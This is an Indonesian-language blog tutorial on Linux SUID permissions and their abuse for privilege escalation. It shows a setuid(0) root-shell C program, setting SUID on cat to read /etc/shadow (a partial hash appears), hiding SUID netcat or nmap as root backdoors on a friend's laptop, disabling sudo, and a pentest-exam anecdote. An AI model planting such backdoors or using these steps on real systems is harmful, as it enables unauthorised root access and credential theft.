[Linux Topic] How to be an evil with SUID permission

Habibie Faried
Sadulur
Published in
6 min readDec 22, 2016

Halo, kembali lagi bersama saya Habibie (Kucing). Disini saya akan share ilmu mengenai special permission pada Linux yaitu SUID-Sticky Bit permission. Dilatarbelakangi oleh banyaknya hacker yang menyepelekan perkara ini, padahal ini adalah salah satu langkah mujarab untuk ngeroot sebuah server. Tentunya tanpa menggunakan local root exploit, password atau mencari bug tertentu.

Ilmu ini termasuk cukup langka dan sulit untuk dikuasai oleh pengguna linux yang sudah mahir sekalipun. Jadi, kalau kamu malah belum pernah menggunakan linux. Silahkan cari artikel lain atau coba menggunakan linux terlebih dahulu :D

DISCLAIMER: Anda secara sadar menyatakan SETUJU untuk menggunakan ilmu ini sebaik-baiknya. Kerusakan sistem akibat kesalahan dan keteledoran anda merupakan tanggung jawab anda 100%.

Pre-req : Kamu sudah harus mengerti apa itu permission pada Linux. Mengerti apa lingkup user, group dan world. Mengetahui apa yang dimaksud 755 dan bisa membaca kode permission (contoh: rwxr-xr-x) dengan lancar. Termasuk apa itu user kernel beserta ring pada linux secara dasar. Silahkan google bagi yang belum mengerti benar.

Level: Intermediate

Berkenalan dengan Sticky Bit (SUID) permission

SUID itu singkatan dari Set owner User ID. Maksudnya adalah special permission pada linux yang memperbolehkan user lain menjalankan file tersebut sebagai owner. Langsung aja ke contoh seperti ini:

— -s — x — x 1 root root /usr/bin/sudo

Kamu pasti tentu familiar dengan perintah sudo. Perintah ini kamu gunakan untuk mengelevasi user biasa menjadi root access. Mungkin kamu sering memakai ini untuk install software terutama di OS ubuntu (sudo apt-get install something). Tapi tahukah kamu cara kerja mengapa kamu bisa masuk sebagai root access? Tentu jawabannya berkaitan dengan SUID permission yang sedang dibahas.

Kembali lagi lihat file sudo, anda bisa mengecek file sudo beserta permission lengkapnya dengan cara

$ which sudo
/usr/bin/sudo
$ ls -lah /usr/bin/sudo
---s--x--x 1 root root 121K Aug 13 2015 /usr/bin/sudo
$

Terlihat bahwa sudo merupakan milik root. Selain itu, file ini memiliki stickybit “s” di 3 block pertama (artinya block user). “s” menandakan bahwa program ini dapat dieksekusi dan dijalankan sebagai ownernya yaitu root.

Lengkapnya, sudo akan meminta user untuk memasukkan password. Setelah itu apabila password benar, maka sudo akan menjalankan kernel API setuid(0) & gituid(0). Artinya adalah kamu bakal dielevate ke ring 0 dari kernel yaitu root, baik di level user maupun group.

Cara kerja lebih detail

Sekarang anda buka editor kesayangan anda lalu ketikkan kode program C berikut. Perhatikan bahwa anda wajib compile di user kernel biasa.

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
if (setuid(0)) {
perror("setuid");
return 1;
}
system("/bin/bash");
return 0;
}

Sekarang compile dan jalankan kode berikut, dimana frase “suid” bisa kamu ganti ke nama apapun

$ gcc suid.c -o ./suid
$ ./suid
setuid: Operation not permitted
$

Pasti akan terjadi error. Mengapa demikian?
Coba lihat permission file suid tersebut

$ ls -lah suid
-rwxrwxr-x 1 user user 6.6K Dec 22 09:48 suid
$

Jelas tidak bisa menjalankan setuid(0) karena kamu bukan root. File kamu berada privilege “user” dan sama sekali tidak akses ke root.

Sekarang, coba kamu masuk sebagai root. Jadikan owner root dan set permissionnya ke 4755. Atau simpelnya dengan memberikan +s agar menjadi 6 (setuid sekaligus setgid)

Kalo bingung, silahkan baca2 lagi digoogle atau disini: http://web.cecs.pdx.edu/~rootd/catdoc/guide/TheGuide_59.html

$ sudo su
[sudo] password for user:
# chown root:root suid
# chmod +s suid
# exit
exit
$

Sekarang, coba kamu jalankan kembali program tersebut

$ whoami
user
$ ls -lah suid
-rwsrwsr-x 1 root root 6.6K Dec 22 09:48 suid
$ ./suid
# whoami
root
#

Pasti sekarang kamu sudah masuk menjadi root. Hal ini dapat dilakukan karena pada file executable “suid” terdapat Sticky Bit root dan kamu memanggil Kernel API linux setuid(0).

Kamu boleh membaca paragraf selanjutnya apabila kamu sudah MENGERTI BENAR mengenai penjelasan diatas.

Can I be an evil right now?

Kamu harusnya sudah mengerti bagaimana suid bekerja. Seperti pada judul artikel ini (How to be an evil), apakah kamu punya ide iseng bikin backdoor root laptop teman anda dalam langkah yang super simpel?

Kalau kamu masih tidak punya ide, berarti pikiran kamu masih sangat suci & polos *peace xD

Oke, ini adalah ide” saya sendiri. Anda WAJIB menguasai ilmu ini benar-benar karena ini BERBAHAYA. Disini posisi anda harus sudah menjadi root.

Menambahkan SUID root pada nano, cat, ls, etc.

Ini kalau kamu cuma mau baca-baca file TANPA ADANYA LIMITASI permission. Oke saya demokan saja contohnya sebagai berikut

$ cat /etc/shadow
cat: /etc/shadow: Permission denied
$

Tentu kamu ga bisa buka /etc/shadow karena kamu bukan sebagai root. Sekarang coba kamu berikan permission suid bit pada program cat

# which cat
/bin/cat
# chmod +s /bin/cat
# ls -lah /bin/cat
-rwsr-sr-x 1 root root 48K Nov 10 2015 /bin/cat

Lalu coba kamu keluar dari root dan melakukan eksekusi pembacaan file /etc/shadow seperti langkah sebelumnya.

$ cat /etc/shadow
root:$6$4mUBAo7q$CIgs0LLtXHN04coMJJNth/44/GfwXExg6tsFnGgroa1rehnIb/WALjeO.I1ZaEt98Mw06oHmKZbHC.....

Boom!, kamu dapat membuka file /etc/shadow tanpa harus masuk sebagai root. Oke, kita lanjut ke ide berikutnya

Masukkan program suid

Bagian ini sudah saya demokan diatas, kamu mau taro nc.traditional atau nmap -interactive atau program sederhana diatas juga boleh. Asalkan jangan lupa untuk menambahkan suid bitnya ya.

Jangan lupa juga untuk diumpetin atau disamarin

Nanti kalau kamu lihat laptop teman terbuka namun masuk sebagai user biasa. Jangan khawatir, kamu hanya tinggal mengakses file-file tersebut :D

Menonaktifkan “sudo”

Menurut saya ini paling sadis, jadi kamu akan membuat teman kamu akan kebingungan untuk masuk ke dalam root. Oke cekidot

# which sudo
/usr/bin/sudo
# cp /usr/bin/sudo /usr/bin/sudo.backup
# ls -lah /usr/bin/sudo.backup
---x--x--x 1 root root 121K Dec 22 10:08 /usr/bin/sudo.backup
# chmod +s /usr/bin/sudo.backup
# ls -lah /usr/bin/sudo
---s--x--x 1 root root 121K Aug 13 2015 /usr/bin/sudo
# chmod -s /usr/bin/sudo
# exit
exit
$

Sekarang kamu coba sendiri file sudo kamu

$ sudo su
sudo: effective uid is not 0, is sudo installed setuid root?
$ sudo su
sudo: effective uid is not 0, is sudo installed setuid root?
$

Oops, ternyata si sudo sudah merasa bahwa dirinya tidak bisa setuid root. Artinya kamu tidak bisa menjadi root lagi lewat sudo itu. Yaudah deh gameover.

Tapi untungnya kita kan masih punya backupan sudo.backup (mudah”an kamu tidak melewati langkah itu)

$ sudo.backup su
[sudo] password for user:
# whoami
root

Ini sangat iseng (dan lucu tentunya), namun sekali lagi kamu HARUS EKSTRA SANGAT HATI-HATI. Kalau kamu lupa membackup file, maka tidak ada jalan masuk root lewat sudo lagi dan teman kamu selamanya hanya berada di user kernel biasa.

….atau berharap ada local root exploitation kernel laptop teman kamu xD

Selanjutnya tuliskan ide anda di artikel yang lain. Tentunya harus berkaitan dengan topik SUID ini. Ditunggu ide busuk kamu xD. Jangan lupa tag artikel kamu dengan hashtag #sadulur yaa

Pengalaman Pribadi

Disini saya ingin nambah sedikit saja mengenai pengalaman saya ngeroot server yang ada. Banyak sekali admin yang ASAL-ASALAN menambahkan SUID bit tanpa tahu resiko yang terjadi.
Dan topik ini sering sekali diujikan di OSCP dan sertifikasi practical hacker lainnya. Bahkan ada website terkenal di Indonesia dimana shell www-data berhasil didapatkan (via upload shell), dan selanjutnya mendapatkan privilege root access tanpa local root exploit atau password sama sekali.

Untuk alasan kode etik, tidak ada screenshot untuk hal tsb

Kalau dibawah ini, server vulnerable yang diujikan ketika saya melamar kerja di salah satu perusahaan pentest singapore. Kelemahannya sama yaitu masalah SUID

Menemukan file netcat traditional yang bisa menjalankan perintah -e/-c bash. root SUID :)
Oops, dapet deh EUID (Effective User ID) root. Dapet /root/flag.txt terus dapet score deh xD

Baik, mungkin segitu dulu artikel dari saya kali ini. Semoga Bermanfaat!

Habibie Faried
habibiefaried@gmail.com
@habibiefaried
CISSP & OSC* Wanna Be

--

--